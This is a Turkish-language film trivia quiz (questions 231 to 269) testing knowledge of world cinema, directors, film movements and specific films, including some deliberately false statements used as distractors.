231.
- Lenin heykeli
- Orman ve rüzgarın sürüklediği fötr şapka
- Kesik kulak
- Benzin istasyonu ve kayboluş

Üstte, dört adet filmin hatırlatıcı kalemleri sıralanmıştır. Aşağıdakilerden hangisi, temsil edilen filmlerden değildir?

a-) Miller’s Crossing (1990) / Joel Coen
b-) To vlemma tou Odyssea {Ulis’in Bakışı – 1995} / Theo Angelopoulos
c-) Blue Velvet {Mavi Kadife – 1986} / David Lynch
d-) Spoorloos (1988) / George Sluizer
e-) Blood Simple {Kansız – 1984} / Joel Coen

232. Karne hediyesi olarak “Yaz tatiline çıkmak istiyorum” diye tutturan Yasemin, bu isteğine olumsuz yanıt alır. Günlerce ısrar eder ama sonuç alamaz; bir süre sonra da tatili unutur.

Aile, kızlarına tatili hatırlatacak şeylerden uzak durmaktadır. Bu bağlamda, “özellikle” hangi yönetmenin filmlerini Yasemin’e izletmemeleri şarttır?

a-) Alain Robbe-Grillet
b-) Claude Berri
c-) Eric Rohmer
d-) Alain Tanner
e-) Jacques Rivette

233. “…Çiftçi çocukluğundan Avrupa aristokrasisi içine, cehenneme yükseliş, filmi her düzlemde ikiye böler. İrlanda çayırlarını, filmin figürü ile birlikte arkamızda bırakırız. Doğadaki hareket, yerini mimarinin sınırlayıcı alanındaki döngüsel harekete bırakır. Sınıf ‘atlayan’ oportünist, köylü kurnazı delikanlıyla birlikte karanlık iç mekânlara, hantal mobilyaların kasvetli dünyasına gireriz. Anlatıcının artık bize hatırlatması bile gerekmez: Hâlâ tırmandığı izlenimini taşıyor olan kahramanımız aksini sansa bile, hareket bitmiştir: Onun artık durduğunu ve soylu sınıfın portresi içinde bir figür haline geldiğini fark etmeye başlarız. Dünyanın güzelliği dışarıda kalmış, hareketlerine kurşunumsu bir ağırlık ve aynılık gelmiştir: Entrikalar ve ikiyüzlülükler, epitapına 1789’un kazılmak üzere olduğu bir sınıfın son yaşama refleksleridir…” (Bir dergiden alıntı.)

Yazar, hangi dev filmden bahsetmektedir?

a-) Voyna i mir (Savaş ve Barış – 1967) / Sergey Bondarchuk
b-) La règle du jeu (Oyunun Kuralı – 1939) / Jean Renoir
c-) Barry Lyndon (1975) / Stanley Kubrick
d-) Novecento (1900 – 1976) / Bernardo Bertolucci
e-) Il gattopardo (Leopar – 1963) / Luchino Visconti

234. Aşağıdakilerden hangisi, 80′lerin “sabun köpüğü” filmlerinden biri değildir?

a-) Lost in America (1985 – Albert Brooks)
b-) Beetle Juice (1988 – Tim Burton)
c-) The Burbs (1988 – Joe Dante)
d-) The Lost Boys (1987 – Joel Schumacher)
e-) Married the Mob (1988 – Jonathan Demme)

235.
- ‘Mouchette‘ ve ‘Rosetta‘, sinemanın sessiz/pek konuşmayan kızları arasındadır.
- ‘Annie Sullivan‘, Arthur Penn’in konusu gerçek bir öyküye dayanan ‘The Miracle Worker’inde (1962) Gena Rowlands tarafından canlandırılmıştır.
- ‘Lulu‘, Pabst’ın ‘Die büsche der pandora’ (1929) isimli Dışavurumcu filminde Louise Brooks tarafından canlandırdırılmıştır.
- ‘Otoku‘, ‘Son Krizantemlerin Öyküsü’nün {1939, Zangiku monogatari} fedakarlık abidesi kadınıdır.
- ‘Jimmy Fingers‘, 1978 yapımı ‘Fingers’ filminde Harvey Keitel tarafından canlandırılmıştır.

Üstte, film karakterlerine dair açıklamalar yapılmıştır. Hangisi için söylenenler yanlıştır?

a-) Mouchette ve Rosetta
b-) Annie Sullivan
c-) Lulu
d-) Otoku
e-) Jimmy Fingers

236. Alfred Hitchcock sinemasıyla ilgili olarak aşağıdakilerden hangisi söylenemez?

a-) Sarışın kadınlara özel zaafı olan bir sinemadır.
b-) Hikaye ikinci plandadır. Hikayenin uyandırdıkları daha önemlidir.
c-) Toplumcu-gerçekçi hassasiyetler yoğundur.
d-) 1920′lerde, Dışavurumcu üslup barındıran bazı filmlere ev sahipliği yapmıştır.
e-) Haksız yere okkanın altına giden erkek karakterler görülür.

237.
I) Sergei Eisenstein’in epik çalışması ‘Alexander Nevsky‘ (1938), buz üstündeki savaş sahneleriyle hatırlanacaktır.
II) Luis Garcia Berlanga’nın ‘Koshieki‘ (1967) filmi, “idam” mevzusu etrafında dönmektedir.
III) Gianni Amelio’nun ‘L’america‘sı (1994), Enver Hoca sonrası Arnavutluk’unun kapitalizmle dansıdır.
IV) Pierre-Granier Deferre, Fransa’nın taşrasını yansıtan filmleriyle hatırlanabilir.
V) Bağımsız Sinema’nın büyük yönetmeni John Cassavetes’in ‘Husbands‘ı (1970), seyahatlere çıkan, içki içen, ilişkilere giren, sokaklarda aylakça dolaşan üç kafadarı anlatır.

Hangi bilgi doğru değildir?

a-) I b-) II c-) III d-) IV e-) V

238.  Neil Jordan’ın 1986 yapımı ‘Mona Lisa‘sı ve Ulu Grosbard’ın 78 yapımı ‘Straight Time‘si, “hapishane sonrası dışarıya uyum” sürecini işliyordu.
Bazense bu süreç, düşlerle/anılarla sarmalanmış bir yolculuğa davetiyedir: Solanas’ın 1988 yapımı muhteşem ‘Sur‘u (Güney) gibi…

Aşağıdakilerden hangisinde böyle bir süreç görülmez. Salt bir adamın orta yaş krizleri üzerinedir?

a-) The Unbelievable Truth (1989) / Hal Hartley
b-) La tregua (1974) / Sergio Renan
c-) Stroszek (1977) / Werner Herzog
d-) Dov’è la libertà…? (1954) / Roberto Rossellini
e-) Un mauvais fils (1980) / Claude Sautet

239. Resnais-Grillet işbirliği ‘L’année dernière à Marienbad‘ {1961, Geçen Yıl Marienbad’da} ve Resnais-Duras işbirliği ‘Hiroshima mon amour‘ {1959, Hiroşima Sevgilim – }, iki muhteşem filmdir.

Zamanda ileri/geri dönüşlerin (flashback-flashforward) sıkça olduğu, dikkatli takip gerektiren filmler vardır. Düz bir akış barındırmazlar. Bazense sondaki bir olay en başta verilerek, seyirci o olayın evveliyatına götürülür. Christopher Nolan’ın debutu ‘Following‘ (1998), bu söylediklerimize bir diğer esaslı örnek.
Aşağıdakilerden hangisi, bu tarz filmlerden biri değildir?

a-) Sans toit ni loi {Yersiz Yurtsuz – 1985} / Agnes Varda
b-) Szerelmesfilm {Aşk Filmi – 1970} / Istvan Szabo
c-) Mafioso (Mafyöz – 1962} / Alberto Lattuada
d-) Bad Timing {Kötü Zamanlama – 1980} / Nicolas Roeg
e-) Le fantôme de la liberté {Özgürlük Hayaleti – 1974} / Luis Bunuel

- – - 240, 241 ve 242. soruları, verilen listelere göre cevaplayınız. Bu üç soru, çoktan seçmeli değil, “yazılı” usülüdür. – - -

240.
- Sons and Lovers (1960) / Jack Cardiff
- Les bonnes femmes (Kadıncağızlar – 1960) / Claude Chabrol
- Fucking Åmål (Sev Beni – 1998) / Lukas Moodysson
- Et Dieu… créa la femme (Ve Tanrı Kadını Yarattı – 1956) / Roger Vadim
- Lolita (1962) / Stanley Kubrick
- Possession (1981) / Andrzej Zulawski
- Tulitikkutehtaan tyttö (Kibritçi Kız – 1990) / Aki Kaurismaki
- Clerks. (Tezgahtarlar – 1994) / Kevin Smith
- Un homme qui dort (1974) / Bernard Queysanne
- The Americanization of Emily (1964) / Arthur Hiller
- La vie rêvée des anges (Meleklerin Düş Yaşamı – 1998) / Erick Zonca
- Lilja 4-ever (Daima Lilya – 2002) / Lukas Moodysson
- Sid and Nancy (1986) / Alex Cox
- Casque d’or (1952) / Jacques Becker
- All About Lily Chou-Chou (2001) / Shunji Iwai
- Withnail & I (1987) / Bruce Robinson
- Lola (1961) / Jacques Demy
- 3 Women (1977) / Robert Altman
- Trainspotting (1996) / Danny Boyle
- Mean Streets (1973) / Martin Scorsese
- Alice Doesn’t Live Here Anymore (Alice Artık Burada Oturmuyor – 1974) / Martin Scorsese
- Das Leben ist eine Baustelle. (Hayat Bir Şantiye Alanıdır – 1997) / Wolfgang Becker

Üstteki listeyi, François Truffaut’un “Hafızası zayıf yetişkinler dışında, ergenlik kimsede tatlı hatıralar bırakmaz.” denklemi doğrutusunda inceleyiniz. Bu denkleme “en” yakın duran filmleri ayıklayınız. Bir tanesini kısaca yorumlayınız…    

241.
- Sånger från andra våningen (İkinci Kattan Şarkılar – 2000) / Roy Andersson
- Ressources humaines (İnsan Kaynakları – 1999) /  Laurent Cantet
- Dzien swira (Kaçığın Günü – 2002) / Marek Koterski
- Megáll az idö (Zaman Durunca – 1982) / Péter Gothár
- Patton (1970) / Franklin J. Schaffner
- The Last Emperor {Son İmparator – 1987} / Bernardo Bertolucci
- A Canterbury Tale (1944) / Michael Powell & Emeric Pressburger
- Le roi de coeur (1966) / Philippe de Broca
- La notte di San Lorenzo (1982) / Paolo & Vittorio Taviani
- El verdugo (1963) / Luis Garcia Berlanga
- The Spy Who Came in from the Cold {Soğuktan Gelen Casus – 1965} / Martin Ritt
- Le dernier métro (Son Metro – 1980) / François Truffaut
- Gion bayashi (1953) / Kenji Mizoguchi
- Guizi lai le (2000) / Wen Jiang
- Arch of Triumph (Zafer Abidesi – 1948) / Lewis Milestone
- The Go-Between (Arabulucu – 1970) / Joseph Losey
- Cristo si è fermato a Eboli (İsa Eboli’de Durdu – 1979) / Francesco Rosi
- The Killing Fields (Ölüm Tarlaları – 1984) / Roland Joffe
- Una giornata particolare (Özel Bir Gün – 1977) / Ettore Scola
- Hotel du nord (1938) / Marcel Carne

Üstteki listeyi, savaşı fona alan/almayan olmak üzere, iki parçaya ayırınız. Savaşı fon alan filmleri de yine kendi içinde politik hassasiyetli/suyuna tirit şeklinde ikiye bölünüz…

242.
- Sedmikrasky (Papatyalar – 1966) / Vera Chytilová
- Mauvais sang (Kötü Kan – 1986) / Leos Carax
- Nóz w wodzie (Sudaki Bıçak – 1962) / Roman Polanski
- Tous les matins du monde (Dünyanın Tüm Sabahları – 1991) / Alain Corneau
- The Addiction (1995) / Abel Ferrara
- L’âge d’or (Altın Çağ – 1930) / Luis Bunuel
- Dead Ringers (Ölü İkizler – 1988) / David Cronenberg
- Seance on a Wet Afternoon (1964) / Bryan Forbes
- The Player (Oyuncu – 1992) / Robert Altman
- L’hypothèse du tableau volé (1979) / Raoul Ruiz
- Seconds (Saniyeler – 1966) / John Frankenheimer
- Tenue de soiree (Gece Elbisesi – 1986) / Bertrand Blier
- The Shout (1978) / Jerzy Skolimowski
- Pasqualino Settebellezze (1975) / Lina Wertmüller
- L’amour fou (1969) / Jacques Rivette
- I soliti ignoti (Big Deal on Madonna Street – 1958) / Mario Monicelli
- Un homme et une femme {Bir Erkek ve Bir Kadın – 1966} / Claude Lelouch
- L’argent (Para – 1983) / Robert Bresson
- La gloire de mon père (1990) & Le château de ma mère (1990) / Yves Robert
- Le boucher (Kasap – 1970) / Claude Chabrol

Üstteki listede yer alan gerilim dozajı yüksek filmleri ayıklayınız. Kalanları ise deneysel/deneysel olmayan şeklinde tasnif ediniz.
Deneyselleri de ayıkladıktan sonra, kalan son filmlerin içerisinden bir çalışmayı bulunuz. Bir namus cinayeti ile hatırlanacak kara komedi bu. Eleştirel ve politik yönler de taşıyor. “7 güzel” diyerek okkalı da bir ipucu verelim.

243. David Lynch’ın ‘Fil Adam’ı gibi toplumca ötekileştirilen, sahnenin dışına itilen, bazen Guy Debord’un ‘Gösteri Toplumu’na (1973 – La société du spectacle) meze olan ve üzerinden prim yapılan hangi “Werner Herzog karakteri“; inanç sistemine şüpheyle yaklaşır tavırlarıyla da çıkmamacasına hafızalara kazınmıştır?

a-) Kaspar Hauser
b-) Woyzeck
c-) Don Lope de Aguirre
d-) Fitzcarraldo
e-) Count Dracula

244.
- İki arkadaş (Mastroianni ve Depardieu), bekar odaları, New York caddeleri, gökdelenler, kumsallar ve de bir maymun ile anımsanagelen fabl.
- Battaniye & kırmızı bıçak kombinasyonu ile akılda yer etmiş gerilim.

Filmlerinde tüketim toplumuna, burjuvaziye, Hıristiyanlığa ve modern dünyaya eleştiriler yöneltir Marco Ferreri. Bunu çoğu kez çiğ bir sürrealizm ile yapar. Uçlarda bir yönetmendir yani. Üstte, tanımları yapılan iki filmi hangisidir?

a-) Storie di ordinaria follia (1981) — El cochecito (1960)
b-) Ciao maschio (1978) — Dillinger e morto (1969)
c-) La donna scimmia (1964) — La grande bouffe (1973)
d-) Storie di ordinaria follia (1981) — L’ape regina (1963)
e-) Ciao maschio (1978) — La grande bouffe (1973)

245. Trafiğin vızır vızır aktığı bir otoyol ve yolun tam kenarında konuşlanmış bir gecekondu…
Bu görüntüyle açılır film. Yeni Zelanda sinemasının belki de en iyi parçalarından biridir. Yeni Zelanda’nın yerlilerinden (mouri) olan 5 çocuklu bir ailenin katıksız dramıdır: Şiddet uygulayan alkolik ve sorumsuz koca, şiddete maruz kalan ve giderek mücadele etmeyi öğrenen fedakar anne, her biri bir yere savrulan çocuklar…

Kısaca tarif edilmeye çalışılan bu “sert” film aşağıdakilerden hangisidir?

a-) Heavenly Creatures (1994) / Peter Jackson
b-) Nil by Mouth (1997) / Gary Oldman
c-) Once Were Warriors {Bir Zamanlar Savaşçıydılar – 1994} / Lee Tamahori
d-) An Angel at My Table {Masamdaki Melek – 1990} / Jane Campion
e-) The Adventures of Priscilla, Queen of the Desert (1994) / Stephan Elliott

246.
- Vespa ile Roma’yı arşınladığı üç bölümlük filmi,
- Yüzme sporunu fona alarak sosyalizm/parti ile hesaplaştığı filmi,
- Evlat acısını izlek aldığı filmi

Üstteki Nanni Moretti filmlerinin “doğru sıralaması” aşağıdakilerden hangisidir?

a-) Caro diario (1993) — La stanza del figlio (2001) — Palombella rossa (1989)
b-) Palombella rossa (1989) — Caro diario (1993) — La stanza del figlio (2001)
c-) Palombella rossa (1989) — La stanza del figlio (2001) — La messa è finita (1985)
d-) Bianca (1984) — La messa è finita (1985) — Caro diario (1993)
e-) Caro diario (1993) — Palombella rossa (1989) — La stanza del figlio (2001)

247. Hangisi doğru değildir?

a-) Luigi Zampa, İtalyan Yeni Gerçekçiliği’ne mensup bir sinemacıdır. Yönetmenlik de yapmıştır.
b-) Çocuklara adanmış ‘Los Olvidados’ (Unutulmuşlar), Bunuel’in Meksika dönemlerine ait çok çarpıcı bir iştir.
c-) Sidney Lumet’in ‘Accident’ (Kaza Gecesi – 1967) isimli filmi, tıpkı ‘Trois couleurs: Bleu’ (1993) gibi otobandaki etkileyici bir sahneyle açılır.
d-) Francis Ford Coppola, 80′lerdeki ‘One From the Heart’ ile müzikale de el almıştır.
e-) Eleştirel bir medya panoraması sunan ‘Quiz Show’ (Şike – 1994), Sundance’nin kurucularından Robert Redford’un yönetmenlik deneyimlerinden biridir.

248. Aşağıdakilerden hangisinin politik mesajları, tıpkı Dovzhenko’nun ‘Zemlya’ {Toprak – 1930} filminde olduğu üzre, müthiş görselliğinin ve sıradışı/deneysel üslubunun altında ezilmiştir?

a-) Soy Cuba {Ben Kübayım – 1964} / Mikhail Kalatozov
b-) L’innocente {Masum – 1976} / Luchino Visconti
c-) Doctor Zhivago {Doktor Jivago – 1965} / David Lean
d-) They Shoot Horses, Don’t They? {Atları da Vururlar – 1969} / Sidney Pollack
e-) Room at the Top (1959) / Jack Clayton

249. Bertolucci’nin ‘Strategia del ragno’ {Örümceğin Stratejisi – 1970} isimli filmini izleyen Suat, yanındaki arkadaşına “Ben bu filmdeki ilişkiyi daha önce görmüştüm sanki” demiştir?

Suat’ın belleği, muhtemelen hangi filme doğru gitmiştir?

a-) Uccellacci e uccellini {Şahinler ve Serçeler – 1966} / Pier Paolo Pasolini
b-) Kolja (1996) / Jan Sverak
c-) The Peach Thief {Şeftali Hırsızı – 1964} / Vulo Radev
d-) Apa {Baba – 1966} / Istvan Szabo
e-) Léon morin, pretre {Leon Morin, Rahip – 1961} / Jean-Pierre Melville

250.

Yukarıdaki sahne hangi Bergman filminden alınmıştır?

a-) Viskningar och rop (Çığlıklar ve Fısıltılar – 1972)
b-) En passion (Anna’nın Tutkusu – 1969)
c-) Persona (1966)
d-) Höstsonaten (Güz Sonatı – 1978)
e-) Nattvardsgästerna (Kış Işığı – 1963)

251. ‘W.R. – Misterije organizma’ (Organizmanın Sırları – 1971), hangi yönetmenin bol alt metinli -Marksist/Freudyen- çalışmasıdır?

a-) Jörg Buttgereit
b-) Alejandro Jodorowsky
c-) Wojciech Has
d-) Liliana Cavani
e-) Dusan Makavejev

252.
- I: ‘Os Fuzis‘, ‘Vidas secas’, ‘O Desafio’, ‘Terra em transe‘, ‘Barren Lives‘ sembol filmleri; Alberto Cavalcanti, Glauber Rocha, Lima Barreto, Nelson Pereira dos Santos, Ruy Guerra, Paolo Cesar Saraceni, Joaquim Pedro de Andrade sembol yönetmenleri arasındadır. Akım, bir yönüyle Üçüncü Dünya’nın başkaldırısıdır. Toplumsal hassasiyetler yoğundur.
- II: El kameraları kullanma, stüdyo sisteminin dışına çıkma, ifadesini gündelik yaşamda bulan gerçek ortamlara akma gibi hususiyetler taşır. Gerçeğe bir belgesel titizliğiyle yaklaşır. Akım, son kertede Vertov’un ‘Kino Eye’sinden (Kamera, her şeyi görür.) tevarüs etmiştir. Barbara Kopple ve Frederick Wiseman, akımın sembol temsilcilerindendir. ‘Salesman‘ {Satıcı – 1968}, ‘Grey Gardens‘ (1975) ve ‘Harlan County U.S.A.‘ (1976), birkaç sembol filmdir. Harun Farocki filmleri de kısmen örnek gösterilebilir.

Yukarıda tanımları yapılan iki akım, hangi seçenekte doğru şekilde verilmiştir?

a-)
I: Avant-Garde
II: Ealing

b-)
I: Ealing
II: Avant-Garde

c-)
I: Cinema Novo
II: Dogma

d-)
I: Cinema Novo
II: Cinema verite

e-)
I: Cinema verite
II: Cinema Novo

253. Doğu Bloğu’nun ölgün hayatlar içinde debelenen gençliği ve bu gençliğin bir çıkış yolu bulma ya da kendini ispat etme uğraşları…

Bu bağlamda… Kazakistanlı Darezhan Omirbayev’in 1992 yapımı ‘Kairat’ı, Gürcistan’da hangi film ve yönetmene karşılık gelir?

a-) Astenicheskiy sindrom (1989) — Kira Muratova
b-) Pirosmani (1969) — Giorgi Shengelaya
c-) Ambavi Suramis tsikhits (1986) — Sergei Parajanov
d-) Ménilmontant (1926) — Dimitri Kirsanoff
e-) Iko shashvi mgalobeli (1970) — Otar Iosseliani

254. Türk filmlerinde de sıkça kullanılmış o inanılmaz tema müziğiyle, kurduğu fütüristik dünyayla, ezen-ezilen diyalektiğiyle, aşağı “ırkın” son kısımlarda efendilerine toplu isyanıyla, casus kuşlarıyla, fırlatılan mancınıklarla akıllara kazınmış politik animasyon, aşağıdakilerden hangisidir?

a-) Ilha das Flores {Çiçekler Adası – 1990} / Jorge Furtado
b-) La planete sauvage {Vahşi Gezegen – 1973} / Rene Laloux
c-) Angel’s Egg {Meleğin Yumurtası – 1985} / Mamoru Oshii
d-) Le roi et l’oiseau {Kral ve Kuş – 1980} / Paul Grimault
e-) Hadashi no Gen {Yalınayak Gen – 1983} / Mori Masaki

255. — Sınavın En Kişisel Yargı Taşıyan Sorusu —
Aşağıda, bize göre 5 adet başyapıt “yorumsuz” şekilde sıralanmıştır. Zaten birkaçının üzerinde yorum yapabilmek de gerçekten kolay değildir. Sadece izlenmeli. Seyirciyi, karmakarışık dünyalarına ve labirentlerinde kaybolmaya davet eden, kendine özgü filmlerdir bunlar.
Aslında Rivette’nin ‘Out 1, noli me tangere‘sini de (1971) yazmak isterdik ama kontenjan kalmadı.

Aşağıdaki “ZİRVE” filmlerden hangisinde, diğerlerine nazaran Yeni Dalga etkisi ve 68 göndermeleri daha barizdir? (Ve gerçekten çok dolu bir filmdir.)

a-) La maman et la putain (Ana ve Fahişe – 1973) / Jean Eustache
b-) The Holy Mountain (1973) / Alejandro Jodorowsky
c-) L’eden et apres (1970) / Alain Robbe-Grillet
d-) Céline et Julie vont en bateau (1974) / Jacques Rivette
e-) Jeanne Dielman, 23 Quai du Commerce, 1080 Bruxelles (1975) / Chantal Akerman

256.Mihai Viteazul‘ (1970) — ‘Kozijat rog‘ (Keçi Boynuzu – 1972) — ‘Zahrada‘ (Bahçe – 1995)

Üstte, diğerlerinden daha dışa kapalı bir sinemaları olan üç Balkan ülkesine ait filmler sıralanmıştır. Bu ülkelerin tanınmış filmleri arasındadır üçü de. İlki, tarihi bir çalışmadır… İkincisi, 70′lerin intikam filmlerinden biridir ve bu görevi -tıpkı ‘Lady Snowblood’, ‘Insiang’ ve ‘I Spit on Your Grave’ filmlerindeki gibi- bir kadına vermiştir… Üçüncüsü ise acı tatlı bir düştür.
Ülkelerin doğru sıralaması hangi şıkta yapılmıştır?

a-) Bulgaristan – Romanya – Slovakya
b-) Bulgaristan – Slovakya – Romanya
c-) Slovakya – Romanya – Bulgaristan
d-) Romanya – Bulgaristan – Slovakya
e-) Romanya -  Slovakya – Bulgaristan

257.
I-) Orphée (1950) / Jean Cocteau
II-) Körkarlen (1921) / Victor Sjöström
III-) Bez konca (1985) / Krzysztof Kieslowski
IV-) Det sjunde inseglet (Yedinci Mühür – 1957) / Ingmar Bergman
V-) Before the Rain (Yağmurdan Önce – 1994) / Milcho Manchevski
VI-) Mar adentro (İçimdeki Deniz – 2004) / Alejandro Amenabar
VII-) La mort en direct (1980) / Bertrand Tavernier
VIII-) Hamoun (1990) / Dariush Mehrjui

Yukarıdaki filmlerden hangisinde, “ölüm” leitmotifi kullanılmamıştır?

a-) I b-) V c-) VI d-) II e-) VIII

258.Giallo“, İtalya’da doğan ve adını sarı kapaklı cinayet romanlarından alan korku alt türüdür. Giallo demek; kan, şiddet, gizem ve müzik demektir. Mario Bava, Dario Argento, Sergio Martino, Lamberto Bava, Michele Soavi, Pupi Avati ve Lucio Fulci, ilk akla gelen isimlerdir.

Aşağıdakilerden hangisi bir Giallo filmi değildir?

a-) A Lizard in a Woman’s Skin (1971)
b-) Opera (1987)
c-) Night of the Living Dead (1968)
d-) Blood and Black Lace (1964)
e-) L’uccello dalle piume di cristallo (Kristal Tüylü Kuş – 1970)

259. Aşağıdaki akım-film eşleştirmelerinden hangisi “tamamen” alakasızdır?

a-) Julien Donkey-Boy (1999) — Dogma
b-) Le ballon rouge (1956) — Yeni Dalga
c-) Europa ’51 (1952) — Yeni Gerçekçilik
d-) Trans Europ-Express (1967) — Cinema Verite
e-) Anni difficili (1948) — Yeni Gerçekçilik

260.
“Alanda bir saat kulesi vardır, bilmezsin
Ben ona iş olsun diye bakarım.
(…) Ufacık ellerini okşarım, ufacık ellerini
Sen bana bakma emi…

Islak kanyonlardan at arabaları geçer art arda
Arabada kadınlar.
Aklımdan vapur düdükleri geçer
Sen geçersin
Kurbağa bakışların.
Ve hep dokunur bana bu nal sesleri
Sen bana bakma emi…

Bir düşün gazeteci çocukların bağırışlarını
Yaşamanın beş kuruşluğuna akıl erdir.
Sonra bir kadın sokulur yanıma
Kucağında ölü çocuğuyla (…)

Bir meyhaneye giderim sonra
Mesela Havana’ya.
Bir Marmara isterim, bir votka
Babam yaşındaki adamlarla içki içerim.
Adamın biri anırır pikaptan
Kadına Kanma şarkısını.
Şarkının da plağının da
Plak paramparça avucumda,
Ne kitabı kalır, ne dini
Sen bana bakma emi…” (Erdoğan Çokduru)

Bir Türk filminde Kadir İnanır tarafından da okunmuştu üstteki şiir. Kimi cümleleri değiştirilerek, kimi cümleleri de atlanarak aktarılmıştır.
Aşağıdakilerden hangisi, bu şiirin dizelerinden çağrışım yapılabilecek filmlerden değildir?

a-) Down by Law (1986) / Jim Jarmusch
b-) Stagecoach (1939) / John Ford
c-) Straw Dogs {Köpekler – 1971} / Sam Peckinpah
d-) The Stranger (Yabancı – 1946) / Orson Welles
e-) Way Down East (1920) / D.W. Griffith

261. Hasan Hüseyin, bir Sezen Aksu hayranı. Minik Serçe, anımsarsanız birkaç yıl önce kortizon tedavisi ile gündeme oturmuştu. Adamımız da hayatı filmlerde yaşayan biri. Sen kalk, Sezen Hanım’ın bilmem hangi semtteki yalısına bir DVD postala. Filmimiz de Nicholas Ray imzalı …… olsun. Ray sineması, biliyorsunuz genel olarak pesimist/kara bir sinemadır. Söz konusu film de öyle. Hastalığın pençesinde ve kortizon tedavisi gören bir aile babasının (James Mason) dramı işleniyordu. Adamdan feyz alsın ve moralini yüksek tutsun deyu göndermiş DVD’yi.

Boş bırakılan yere, Ray’ın aşağıdaki 5 filminden hangisi getirilmelidir?

a-) In a Lonely Place (1950)
b-) Bigger Than Life (1956)
c-) On Dangerous Ground (1952)
d-) The Lusty Men (1952)
e-) Bitter Victory (1957)

262.
Bir “öğretmen-öğrenci ilişkisi”ne tanık olduğumuz,
Giderek Lynch’vari bir atmosfere evrilen,
Bilinç-akışı tekniği kullanılan bir film.

Üstteki açıklama ekseninde… Yönetmenliğini Andre Delvaux’un yaptığı hangi film, Belçika Sineması’nın kült işlerinden biri sayılmaktadır?

a-) Malenkaya vera (1988)
b-) Noce blanche (1989)
c-) De man die zijn haar kort liet knippen {Saçlarını Kısa Kestiren Adam – 1966}
d-) Rendez-vous à Bray (1971)
e-) C’est arrivé près de chez vous {Man Bites Dog – 1992}

263. Debut (ilk) filmler, yönetmenin daha sonraki çalışmalarına projektör tutmak adına önemli. Ancak bazı debutlar için bunu söyleyemeyiz. Şöyle ki… Yönetmen, daha sonraki filmlerinde “tür” olarak değişikliğe gitmiştir. Hal böyle olunca, söz konusu debut da o yönetmeninin filmografisi içinde bir “ayrık otu” gibi kalır.

Aşağıda 5 adet debut görülmektedir. Hangisi, bu ayrık otluğuna verilebilecek “en yakın” örnektir?

a-) Georges Franju –> Le sang des bêtes {Hayvanların Kanı – 1949}
b-) Louis Malle –> Ascenseur pour l’échafaud {İdam Sehpası – 1958}
c-) David Lynch –>  Eraserhead {Silgi Kafa – 1977}
d-) Nicholas Ray –> They Live by Night {Gece Yaşarlar – 1948}
e-) Pier Paolo Pasolini –> Accattone {Dilenci – 1961}

264. Yönetmenler ve sinemaları eşleştirmesinde, yanlış olan hangisidir?

a-) Terrence Malick – “Şiirsel”
b-) Joseph Losey – “Köy yaşamı”
c-) Laurence Olivier – “Epik”
d-) Agnieszka Holland – “Yahudi olmak”
e-) John Hughes – “Gençlik”

265.
- Pasolini’nin ‘Teorema’ (1968) filmindeki misafir, burjuva ailenin konforunu sarsmıştı. Benzer şematik, Renoir’in ‘Boudu sauvé des eaux’unda ve Marek Piwowski’nin …… filmlerinde de vardı. Tabii Piwowski’de mekan ev değil, bir gemiydi.
- Ermanno Olmi’nin filmi ……, hoş bir toplu salon dansı ile açılıyordu.
- Edward Yang’ın 1980′ler yapımı filmi ……,  Tayvanlı genç neslin Amerikan özentiliğini müşahade ediyordu. Michael Jordan sohbetleri, Monroe posterleri, habire ABD’yi diline pelesenk eden bir kadın görmüştük.
- …, hayali bir arkadaş (tavşan) yaratan ve çevresi tarafından akıl hastanesine yatırılmak istenen naif bir yüreğin öyküsüydü.

Boş bırakılan yerlere hangisi getirilemez?

a-) Rejs (1970)
b-) Il posto (1961)
c-) Harvey (1950)
d-) Taipei Story (1985)
e-) I fidanzati (1963)

266. “Aklımı tam 35 yıl dürüstçe kullandım. Sonra kimse aklıma ihtiyaç duymadı. Kendi işimi kurmaya zorlandım. Dünya da beni bir seri katil olma yolunda cesaretlendirdi. Bu dünya toplu katliamlar için silah imal etmiyor mu? Onlar da masum kadınları ve küçük çocukları öldürmüyorlar mı? Üstelik çok bilimsel çalışıyorlar. Bir seri katil olarak ben, onların yanında acemi kalırım.
Bir tek kişiyi öldürürseniz katilsiniz. Ama milyonlarca insanı öldürürseniz kahraman!”

Charles Chaplin, bu anlamlı replikleri hangi filmindeki kahramanına söyletmiştir?

a-) The Great Dictator (Büyük Diktatör – 1940)
b-) Monsieur Verdoux (Mösyö Verdoux – 1947)
c-) A King in New York (New York’ta Bir Kral – 1957)
d-) Limelight (Sahne Işıkları – 1952)
e-) City Lights (Şehir Işıkları – 1931)

267. Michelangelo Antonioni’nin aşağıdaki filmlerinden hangisi, bir adadaki kayboluş öyküsünden hareketle, gerçeğin bilinçten silindiğini fısıldar?

a-) L’avventura {Macera – 1960}
b-) L’eclisse {Batan Güneş – 1962}
c-) Le amiche {Kadınlar – 1955}
d-) La notte {Gece – 1961}
e-) Identificazione di una donna {Bir Kadının Tanımlanması – 1982}

268. “Jonathan Demme, ….. yapımı ‘Stop Making Sense’ filminde Talking Heads konserine vizör tutmuştu.
Aynı sene içerisinde gelen Albert Magnoli imzalı ‘Purple Rain‘ ve Rob Reiner’in yönettiği kült mockumentary ‘This is Spinal Tap‘ da hesaba katılacak olduğunda… Müzik aşığı sinema severler için sevindirici, bereketli bir yıl olduğunu söyleyebiliriz.”

Konuşmacı hangi seneden bahsetmektedir?

a-) 1968
b-) 1969
c-) 1984
d-) 1985
e-) 1983

269. Batı Sineması, “yolu Hindistan’a düşen beyazlar”ın öyküsünü pek çok kez işlemiştir. (Jean Renoir’in 1951 yapımı ‘The River‘i özellikle tavsiye olunur.)

Aşağıda bu minvalde dört film yer almaktadır. Uçurum kenarındaki rahibeler, Hintlilerin kalelerine baskın düzenleyen süvariler, kayıp bir arkadaşın izini sürenler bir tarafa…
Hangi yarı-deneysel filmin burjuva kahramanları; bahçe, tenis kortları ve barok salonlar/koridorlar arasında mekik dokuyan bir kameraya takılırlar ve de “dünya meselelerinden sanatın durumuna” uzanan bir yelpazede entelektüel sohbete koyulurlar?

a-) Nocturne indien (1989) / Alain Corneau
b-) Coup de torchon {Sil Baştan – 1981} / Bertrand Tavernier
c-) Black Narcissus {Siyah Nergis – 1947} / Michael Powell & Emeric Pressburger
d-) India Song {Hindistan Şarkısı – 1975} / Marguerite Duras
e-) Gunga Din {Fedailer Alayı – 1939} / George Stevens

